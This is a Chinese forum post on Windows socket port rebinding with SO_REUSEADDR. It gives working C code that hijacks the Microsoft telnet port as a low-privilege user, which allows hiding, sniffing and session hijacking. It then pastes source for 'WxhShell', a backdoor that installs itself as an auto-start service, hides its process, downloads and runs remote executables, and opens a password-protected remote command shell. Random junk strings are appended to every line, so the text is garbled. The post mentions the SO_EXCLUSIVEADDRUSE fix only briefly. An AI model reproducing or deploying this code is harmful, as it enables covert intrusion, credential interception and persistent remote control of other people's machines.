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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: { 7jim  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iq*im$9 J  
|dLr #+'az  
  saddr.sin_family = AF_INET; wYf\!]}'  
;O% H]oN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \KnRQtlI  
TdgK.g 4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O\.^H/  
%h@1lsm1+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !{r2`d09n)  
@Suz-j(H  
  这意味着什么?意味着可以进行如下的攻击: f]8MdYX(  
 Rpgg :  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !nSa4U,$w<  
8j;Un]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e?.j8 Q ~  
X#ttDB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3T8d?%.l  
>lV,K1Z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  salC4z3  
+#MXeUX"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O3@DU#N&s  
0TmEa59P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $KbZ4bB[Bo  
WVRIq'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `s)4F~aVo  
V?j,$LixY  
  #include ?{qUn8f2  
  #include `Y:]&w  
  #include PP$sdmo  
  #include    w\acgQ^%e  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7. <jdp  
  int main() Z?{\34lPj  
  { ot<d FvD  
  WORD wVersionRequested; p[JIH~nb  
  DWORD ret; uC;_?Bve  
  WSADATA wsaData; 3<&:av3  
  BOOL val; FuiR\"Ww  
  SOCKADDR_IN saddr; xT"V9t[f  
  SOCKADDR_IN scaddr; QCW4gIp  
  int err; D_d>A+  
  SOCKET s; `.MZ,Xhqi"  
  SOCKET sc; :s_> y_=g  
  int caddsize; K>DN6{hnV;  
  HANDLE mt; j**[[  
  DWORD tid;   4C=W~6~  
  wVersionRequested = MAKEWORD( 2, 2 ); AB'+6QU9k  
  err = WSAStartup( wVersionRequested, &wsaData ); !^% 3  
  if ( err != 0 ) { h p|v?3(  
  printf("error!WSAStartup failed!\n"); QEs$9a5TE  
  return -1; T&_&l;syA  
  } F,Q;sq  
  saddr.sin_family = AF_INET; oRCc8&  
   'nq=xi@RC  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  Y${'  
:EV.nD7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m`-);y  
  saddr.sin_port = htons(23); BuV71/Vb{Q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ma|4nLC}  
  { t,7%| {  
  printf("error!socket failed!\n"); ekhv.;N~  
  return -1; ?gMx  
  } G1z*e.+y  
  val = TRUE; 2'?'dfj  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 23):OB>S`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 'Tm1Mh0Fso  
  { .J75bX5  
  printf("error!setsockopt failed!\n"); b]]8Vs)'  
  return -1; aj`&ca8  
  } P~trxp=k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @GN2v,WA?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0SL{J*S4[#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 PyQ .B*JJ  
`3F#k[IR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) BX?DI-o^h  
  { S?0o[7(x*  
  ret=GetLastError(); 45c?0tj  
  printf("error!bind failed!\n"); [h3xW  
  return -1; XYo,5-  
  } i=EOk}R  
  listen(s,2); _Q5mPBO  
  while(1) 1(o\GI3:  
  { !1)aie+p6  
  caddsize = sizeof(scaddr); +X/a+y-  
  //接受连接请求 W'@ |ob  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w ~*@TG  
  if(sc!=INVALID_SOCKET) _= v4Iz0  
  { Q~ U\f$N  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I`0-q?l  
  if(mt==NULL) cj[b^Wv:  
  { 0VNLhM(LM  
  printf("Thread Creat Failed!\n"); >s^$ -  
  break; [7@ g*!+d  
  } >_?i)%+)  
  } TwkT|Piw S  
  CloseHandle(mt);  aO&U=!  
  } 5%Qxx\q  
  closesocket(s); L0g+RohW  
  WSACleanup(); e#C v*i_<  
  return 0; zgAU5cw  
  }   Pzso^^g  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6j6CA?|  
  { }:#WjH^  
  SOCKET ss = (SOCKET)lpParam; 8TP$?8l  
  SOCKET sc; AY/.vyS  
  unsigned char buf[4096]; vXDs/,`r  
  SOCKADDR_IN saddr; jaoZ}}V_$  
  long num; << >+z5D+  
  DWORD val; aRMlE*yW  
  DWORD ret; w<9rTHG8,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Fv~lasW[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _RIU,uJs  
  saddr.sin_family = AF_INET; !J7`frv"(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8o5[tl ?w  
  saddr.sin_port = htons(23); [{7#IZL  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ps{4_V-3u  
  { ;b{#$#`=  
  printf("error!socket failed!\n"); zq};{~u(  
  return -1; rwq   
  } P=n_wE  
  val = 100; RAO+<m  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y74Q(  
  { $wUYK%.  
  ret = GetLastError(); ;\RV C 7  
  return -1; 40kAGs>_  
  } ?6:qAFw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sq'm)g  
  { u} mj)Nk  
  ret = GetLastError(); Wu][A\3D1  
  return -1; ZE=sw}=  
  } +_]Ui| l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jR/Gd01)  
  { w5m /[Z  
  printf("error!socket connect failed!\n"); f]NLR>$L}  
  closesocket(sc); kd'b_D[$H  
  closesocket(ss); d1D f`  
  return -1; << 6 GE  
  } Cf[tNq  
  while(1) A^OwT#  
  { At.& $ t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;73S;IPR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FSEf0@O:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,t`V^(PEq  
  num = recv(ss,buf,4096,0); vvxxwZa=O  
  if(num>0) 0>|q[SC  
  send(sc,buf,num,0); o[!'JUxZ  
  else if(num==0) #p(gB)o:l  
  break; %%No XW  
  num = recv(sc,buf,4096,0); )  ;0  
  if(num>0) p'h'Cz  
  send(ss,buf,num,0); 8T3,56 >  
  else if(num==0) ^)dsi  
  break; >+%#m'Y&&  
  } #<0Hvde  
  closesocket(ss); B[uyr)$  
  closesocket(sc); E22o-nI?1  
  return 0 ; [PIMG2"G  
  } ^OY$ W  
}WsPuo  
b-& rMML  
========================================================== (ks>F=vk*  
5sY $  
下边附上一个代码,,WXhSHELL | xB`cSu(  
[5P-K{Ko  
========================================================== hY4#4A`I  
#&|"t< }  
#include "stdafx.h" v<1@"9EH  
84(Jo_9  
#include <stdio.h> .V;,6Vq  
#include <string.h> [piK"N  
#include <windows.h> fV"Y/9}(  
#include <winsock2.h> I1 ]YT  
#include <winsvc.h> t1Ts!Q2  
#include <urlmon.h> Al yJ!f"Y  
o26Y }W  
#pragma comment (lib, "Ws2_32.lib") _A,_RM$Y  
#pragma comment (lib, "urlmon.lib") K&[0`sH!  
5HbHJ.|r  
#define MAX_USER   100 // 最大客户端连接数 \m7\}Nbz0/  
#define BUF_SOCK   200 // sock buffer 3/RwCtc  
#define KEY_BUFF   255 // 输入 buffer ;#Po}8Y=  
)q<VZ|V  
#define REBOOT     0   // 重启 WM+8<|)n  
#define SHUTDOWN   1   // 关机 {7e(0QK  
Q`bXsH  
#define DEF_PORT   5000 // 监听端口 5p.rd0T]l3  
2c Xae  
#define REG_LEN     16   // 注册表键长度 ^(;x-d3  
#define SVC_LEN     80   // NT服务名长度 o CCtjr  
SWdmej[  
// 从dll定义API t=7Gfv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vC,FE )'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T, #-: }  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Vg$d|m${  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C1-U2@  
:-x?g2MY  
// wxhshell配置信息 a?-Jj\q  
struct WSCFG { nFni1cCD  
  int ws_port;         // 监听端口 phDIUhL$z  
  char ws_passstr[REG_LEN]; // 口令 1L <TzQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no j([b)k=  
  char ws_regname[REG_LEN]; // 注册表键名 5]i#l3")  
  char ws_svcname[REG_LEN]; // 服务名 IgbuMEfL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'fn}I0Vc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [],[LkS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'ON/WKJr|W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no le5@WG/x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;W{z"L;nX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R6<'J?k  
-)-: rRx-  
}; !8p>4|VM  
s`x2Go  
// default Wxhshell configuration e,s  S.  
struct WSCFG wscfg={DEF_PORT, `*U@d%a  
    "xuhuanlingzhe", e,OXngC  
    1, gNr4oOR{  
    "Wxhshell", 1XN%&VR>^D  
    "Wxhshell", O+-+=W  
            "WxhShell Service", w^L`"  
    "Wrsky Windows CmdShell Service", ,i*rHMe  
    "Please Input Your Password: ", `)O9 '568  
  1, `6rLd>=R  
  "http://www.wrsky.com/wxhshell.exe", 0/~p1SSun  
  "Wxhshell.exe" Cx;it/8+  
    }; z_(l]Ern}  
HP*)^`6X  
// 消息定义模块 w (HVC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4s m [y8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /,I?"&FWc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; u4lM>(3Y}  
char *msg_ws_ext="\n\rExit."; `pbCPa{Y  
char *msg_ws_end="\n\rQuit."; n*GB`I*g  
char *msg_ws_boot="\n\rReboot..."; b$2=w^*  
char *msg_ws_poff="\n\rShutdown..."; 3~`\FuHHe  
char *msg_ws_down="\n\rSave to "; ;FlDRDZ%  
@IL@|Srs8  
char *msg_ws_err="\n\rErr!"; *`OXgkQ  
char *msg_ws_ok="\n\rOK!"; R.|h<bur  
2\{/|\  
char ExeFile[MAX_PATH]; ]9 @4P$I  
int nUser = 0; Rs<S}oeLn  
HANDLE handles[MAX_USER]; EW]DzL 3  
int OsIsNt; >0kL9_9{  
0of:tZU  
SERVICE_STATUS       serviceStatus; ;R >>,&g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tLJ 7tnB  
>%"TrAt  
// 函数声明 eZ) |m  
int Install(void); O#tmB?n*  
int Uninstall(void); tln}jpCw  
int DownloadFile(char *sURL, SOCKET wsh); y2%[/L: u~  
int Boot(int flag); -)J*(7F(6^  
void HideProc(void); tDAX pi(  
int GetOsVer(void); T>| +cg  
int Wxhshell(SOCKET wsl); q|YnNk>1  
void TalkWithClient(void *cs); Wr Wz+5M8  
int CmdShell(SOCKET sock); [GyPwb-  
int StartFromService(void); ]@SEOc@ j  
int StartWxhshell(LPSTR lpCmdLine); (6[<+j&.  
o ^w^dgJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +2E~=xX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G]l/L\{  
\.P'8As  
// 数据结构和表定义 XPYf1H  
SERVICE_TABLE_ENTRY DispatchTable[] = lN.&46 e  
{ W*H%\Y:N  
{wscfg.ws_svcname, NTServiceMain}, 6jr}l  
{NULL, NULL} =[4C[s  
}; z@[n?t!7k  
*mWS+xcU(L  
// 自我安装 \U]<HEc^  
int Install(void) [HXd|,~_j-  
{ El`G<esX  
  char svExeFile[MAX_PATH]; $LR~c)}1I  
  HKEY key; #\~m}O,  
  strcpy(svExeFile,ExeFile); Pd:tRY+t/  
]I~BgE;C9  
// 如果是win9x系统,修改注册表设为自启动 Jv2V@6a(  
if(!OsIsNt) { e,vgD kI;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }8.$)&O$^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n\JSt}A  
  RegCloseKey(key); W*c^(W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <y-2ovw*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -?T|1FA,  
  RegCloseKey(key); g[2[ zIB=  
  return 0; Ejf>QIB  
    } -% B)+yq>  
  } j~2t^Qz  
} ue *mTMN  
else { c_?!V  
.@(MNq{"6  
// 如果是NT以上系统,安装为系统服务 Se/]J<]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +/*A}!#v  
if (schSCManager!=0) XK l3B=h  
{ h 7\EN  
  SC_HANDLE schService = CreateService > m9ge`!9  
  ( AK;G_L  
  schSCManager, b|Ed@C  
  wscfg.ws_svcname, +fF4]WF P  
  wscfg.ws_svcdisp, G_p13{"IM  
  SERVICE_ALL_ACCESS, $/i;UUd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , doe u`  
  SERVICE_AUTO_START, ( (mNB]sy  
  SERVICE_ERROR_NORMAL, [VB\ T|$  
  svExeFile, 6v -2(Y  
  NULL, 9/GC8*+  
  NULL,  - zEQ/6  
  NULL, W$Z""  
  NULL, g|3FJA/  
  NULL zQ eXN7$  
  ); -/qu."9(B  
  if (schService!=0) $ "^yoL  
  { ;@u+b0 j  
  CloseServiceHandle(schService); Y'LIk Q\  
  CloseServiceHandle(schSCManager); g60r m1b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2ap0/l[  
  strcat(svExeFile,wscfg.ws_svcname); 7+p=4i^@Zs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h "r)z6Q/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wvSaq+N  
  RegCloseKey(key); c/}bx52>u  
  return 0; *}i.,4+y   
    }  F_%&,"$  
  } cbA90 8@s  
  CloseServiceHandle(schSCManager); 8-R; &  
} zTt6L6:u  
} *$ 7c||J7  
B8G1 #V_jK  
return 1; $5l=&  
} T%:W6fH7  
<N;HB&mr  
// 自我卸载 [^-DFq5@  
int Uninstall(void)  t"'aQr  
{ 1@0ZP~LTB  
  HKEY key; uod&'g{N  
('p~h-9Vi  
if(!OsIsNt) { aTY\mKk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g)k::k)<e  
  RegDeleteValue(key,wscfg.ws_regname); RV:%^=V-  
  RegCloseKey(key); -5yEd>Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "Tm`V9  
  RegDeleteValue(key,wscfg.ws_regname); /v:+ vh*mS  
  RegCloseKey(key); X8b= z9  
  return 0; y| %rW  
  } h|1 /Q (  
} JuT~~Z  
} 7l3sd5  
else { n P4DHb&5  
dAcy;-[[P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pTJJ.#$CEF  
if (schSCManager!=0) h{cJ S9e}  
{ oos7x6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DrB PC@^  
  if (schService!=0) FCEFg)c5=  
  { )W/ mt[;  
  if(DeleteService(schService)!=0) { V"@]PI pr  
  CloseServiceHandle(schService); #4*~ 4/  
  CloseServiceHandle(schSCManager); vN%SN>=L<  
  return 0; (-(sBQa+  
  } Ol'Ct'_k,"  
  CloseServiceHandle(schService); r6`v-TY(/  
  } anTS8b   
  CloseServiceHandle(schSCManager); !7-dqw%l  
} qG%'Lt  
} %A dE5HI-  
R"=pAO.4l  
return 1; xeX Pc7JG  
} >{^&;$G+*  
W`^Zb[  
// 从指定url下载文件 V1j5jjck  
int DownloadFile(char *sURL, SOCKET wsh) qJN2\e2~f  
{ <x),HTJ  
  HRESULT hr; z\8Kz ]n~  
char seps[]= "/"; F\Gi;6a  
char *token; #yk m  
char *file; ]QS? fs Z  
char myURL[MAX_PATH]; tQ:)j^\  
char myFILE[MAX_PATH]; Ln})\ UDK)  
yb#NB)+E@  
strcpy(myURL,sURL); zR+EJFf  
  token=strtok(myURL,seps); $!x8XpR8s  
  while(token!=NULL) x\Bl^1&  
  { !;^sIoRPV  
    file=token; I7hE(2!$  
  token=strtok(NULL,seps); n%]1p36  
  }  # xS8  
Bp`?inKBOd  
GetCurrentDirectory(MAX_PATH,myFILE);  c6;tbL  
strcat(myFILE, "\\"); a 8Jn.!  
strcat(myFILE, file);  IR,`-  
  send(wsh,myFILE,strlen(myFILE),0); ?j{LE- (  
send(wsh,"...",3,0); $)M8@d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lmZ Ssx  
  if(hr==S_OK) dw8Ce8W  
return 0; gD0 FRKn  
else geL)v7t+#  
return 1; Ax4nx!W,   
'@h5j6:2  
} YAqv:  
gh3XC.&  
// 系统电源模块 3EN?{T<yf  
int Boot(int flag) ^|?/ y=  
{ Q&;dXE h  
  HANDLE hToken; SXn1v.6  
  TOKEN_PRIVILEGES tkp; :;S]jNy}j)  
 pojQ/  
  if(OsIsNt) { e`fN+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LoQm&3/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #N?EPV$  
    tkp.PrivilegeCount = 1; xZ} 1dq8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vl8Ums} +  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SNB >  
if(flag==REBOOT) { yT<yy>J9l#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 18pi3i[  
  return 0; Rw\ LVRdA  
} p `)(  
else { #`rvL6W q}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EM+#h'%-  
  return 0; L<encPJt  
} cTpAU9|(  
  } )pV5l|`  
  else { mr]IxTv  
if(flag==REBOOT) { ;#G)([  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A>8uLO G}  
  return 0; .olDmFQD  
} TOp|Qtn  
else { GtRc7,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b/:&iG;  
  return 0; x,a(O@  
} 2B{~"<  
} tY^MP5*  
<J4|FOz!=  
return 1; L$^ya%2  
} 7RQ.oee  
*P,dR]-m  
// win9x进程隐藏模块 pZx'%-\-T  
void HideProc(void) ORhe?E]  
{ ?+)O4?#  
c0.i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fJ_d ,4  
  if ( hKernel != NULL ) I6d4<#Q@L  
  { 48JD >=@7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^| L@f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GE]cH6E  
    FreeLibrary(hKernel); fX=o,=-f  
  } ZtPq */'  
yES+0D5<  
return; z;GR(;w/  
} C=& 7V  
) # le|Rf  
// 获取操作系统版本 pZ?7'+u$L  
int GetOsVer(void) N6Mo|  
{ :uE:mY%R  
  OSVERSIONINFO winfo; #'N"<o[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RHc63b\  
  GetVersionEx(&winfo); w,fA-*bZ 0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5|>FM&  
  return 1; pJ Iq`)p5  
  else M8 oCh  
  return 0; ^sR]w]cz.  
} Nf(Np1?;c  
!iBe/yb  
// 客户端句柄模块 Sq"O<FmI  
int Wxhshell(SOCKET wsl) *5'U3py  
{ [EUp4%Z #  
  SOCKET wsh; BFP (2j  
  struct sockaddr_in client; f$vWi&(  
  DWORD myID;  B@Acm  
z DDvXz  
  while(nUser<MAX_USER) 42X N*br  
{ ;Z%PBMa  
  int nSize=sizeof(client); \~|+*^e)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7p'L(dq  
  if(wsh==INVALID_SOCKET) return 1; bi`{ k\3A  
|F _ Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \8v{9Yb  
if(handles[nUser]==0) &VG|*&M  
  closesocket(wsh); 0Q^ -d+!  
else dLb9p"EE#  
  nUser++; \mRRx#-r%  
  } n]$50_@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3T)GUzt`  
GRV#f06  
  return 0; 0?hJ!IT;q7  
} nX,2jT;@L  
= WFn+#&^  
// 关闭 socket 9aYDi)  
void CloseIt(SOCKET wsh) ? +{=>{1  
{ 3n{'}SYyz  
closesocket(wsh); kigq(a  
nUser--; <i9pJGW  
ExitThread(0); ~Pq(Ta  
}  d~B ]s  
u~MD?!LV  
// 客户端请求句柄 v0EF?$Wo  
void TalkWithClient(void *cs) >_3+s~  
{ %Z|]"=;6  
x8H%88!j*  
  SOCKET wsh=(SOCKET)cs; kkfwICBI  
  char pwd[SVC_LEN]; ~ KNdV  
  char cmd[KEY_BUFF]; 9Yih%d,  
char chr[1]; F0,-7<G  
int i,j; fAMJFHW  
r?Y+TtF\e  
  while (nUser < MAX_USER) { tEEeek(!  
@@$%+XNY  
if(wscfg.ws_passstr) { Z Z1s}TG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2p3ep,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~I^}'^Dbb  
  //ZeroMemory(pwd,KEY_BUFF); WU oGIT'  
      i=0; K}^Jf ;  
  while(i<SVC_LEN) { 7bBOV(/s  
-]=-IiC#  
  // 设置超时 >?b<)Q*<  
  fd_set FdRead; Efo,5  
  struct timeval TimeOut; AEx|<E0  
  FD_ZERO(&FdRead); Q8:`;W  
  FD_SET(wsh,&FdRead); NXhQdf  
  TimeOut.tv_sec=8; ]KX _a1e  
  TimeOut.tv_usec=0; ZSL:q%:.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Wj N0KA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9:tvkl  
}Ip"j]h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~r`~I"ZK7^  
  pwd=chr[0]; :v/6k  
  if(chr[0]==0xd || chr[0]==0xa) { {bF95Hs-  
  pwd=0; &&C]i~  
  break; 0(9]m)e  
  } $#V ^CmW.  
  i++; !A>VzW  
    } [oOA@  
t >89( k  
  // 如果是非法用户,关闭 socket ;0}8vs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'TPRGX~&  
} <&'Ye[k  
;]<{ <czc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "P:kZ= M Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 51oZ w%os=  
%9|=\# G  
while(1) { zdA:K25"  
l 6.#s3I['  
  ZeroMemory(cmd,KEY_BUFF); "i$uV3d  
g%w@v$  
      // 自动支持客户端 telnet标准   <DS+"#  
  j=0; e=t?mDh#E  
  while(j<KEY_BUFF) { tK&.0)*=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hA`>SkO  
  cmd[j]=chr[0];  U4#[>*  
  if(chr[0]==0xa || chr[0]==0xd) { x>Ah4a d  
  cmd[j]=0; \K 01 F  
  break; g j`"|  
  } dG{`Jk  
  j++; fM]McZ9)D  
    } ki6`d?  
~Z5?\a2Ld  
  // 下载文件 OT7F#:2`  
  if(strstr(cmd,"http://")) { .kM74X=S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hk-)fl#dr  
  if(DownloadFile(cmd,wsh)) hoASrj{s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _t:cDXj  
  else o"^}2^)_SR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8|[\Tp:;  
  } WfVkewuPo  
  else { MBCA%3z08  
mQ#@"9l%  
    switch(cmd[0]) { =K2Dxu_:  
  r @~T}<I  
  // 帮助 RVfRGc^lK  
  case '?': { ( 5 d ~0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G?QFF6)}!  
    break; %5RYa<oP  
  } xiU-}H'o  
  // 安装 U-TwrX  
  case 'i': { B@*BcE?  
    if(Install()) $X5~9s1Wl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |aN0|O2  
    else CTtF=\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #I@]8U#,":  
    break; ;:*o P(9k  
    } ORa!84L  
  // 卸载 6f=/vRAh$  
  case 'r': { &+`l $h  
    if(Uninstall()) c i7;v9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l{#m"S7J^  
    else !5`}s9hsF_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <-Q0WP_^  
    break; 0s0[U  
    } >^:g[6Sj  
  // 显示 wxhshell 所在路径 T-&CAD3 ,O  
  case 'p': { |k&.1NkZ  
    char svExeFile[MAX_PATH]; OJ UM Y<5  
    strcpy(svExeFile,"\n\r"); zx-+u7qKH  
      strcat(svExeFile,ExeFile); Vu\|KL|  
        send(wsh,svExeFile,strlen(svExeFile),0); B<1*p,z  
    break; U]R?O5K  
    } CX':nai  
  // 重启 o9wg<LP  
  case 'b': { @+1E|4L1vf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )[oU|!@  
    if(Boot(REBOOT)) eiEZtu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F:pXdU-xf  
    else { v/+dx/  
    closesocket(wsh); *, *"G?  
    ExitThread(0); FZ=6x}QZ  
    } g#[9O'H  
    break; `8FC&%X_  
    } ]Jnf. 3  
  // 关机 YGWb!|Z$  
  case 'd': { iZMsN*9[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #-'}r}1ZT  
